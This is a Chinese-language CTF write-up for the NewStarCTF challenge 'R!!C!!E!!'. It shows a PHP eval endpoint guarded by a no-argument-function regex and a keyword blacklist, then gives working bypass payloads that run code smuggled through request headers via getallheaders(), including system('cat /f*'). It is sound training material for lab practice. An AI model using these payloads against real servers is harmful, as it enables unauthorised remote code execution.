【newstarctf】 R!!C!!E!! 无参数 RCE

打开靶机,提示我们再找信息,dirsearch一下发现有 git 泄露,url请求该 path 拿到 git 文件,放到 cyberchef 里解密看到有其他的 php 文件,打开后看到源代码:

1
2
3
4
5
6
7
<?php 
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}

很明显是一道 RCE 题,这边要绕正则,第一个正则是

1
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])

这是一个很经典的无参正则,他可以匹配

  • func();
  • func(func2());
  • func(func2(func3()));
  • func1(func2($_POST[a])); 这个自己发现的,没准什么时候能用上

然后就导致后面 preg_match 不能绕过,只能选 preg_match 过滤以外的无参数 RCE。

注意到这里没有限制getallheaders(),getallheaders()是一个无参获取所有请求头内容的函数,返回请求头数组,然后 next 也没有禁用,经检查发现他没有验证请求头完整性,我们就删掉其他参数只剩下 next 能检测到的参数就能从 header 获取 RCE 内容了。

故构造 payload 为:

?star=eval(next(getallheaders()));

请求头里将Cache-Control字段的值改为:

system('cat /f*');

即可获取 flag

官方题解构造的 payload 是:

?star=eval(pos(array_reverse(getallheaders())));

她们的思路是反转 header 数组再定位当前元素获取命令,命令放在请求头数组最后的元素上。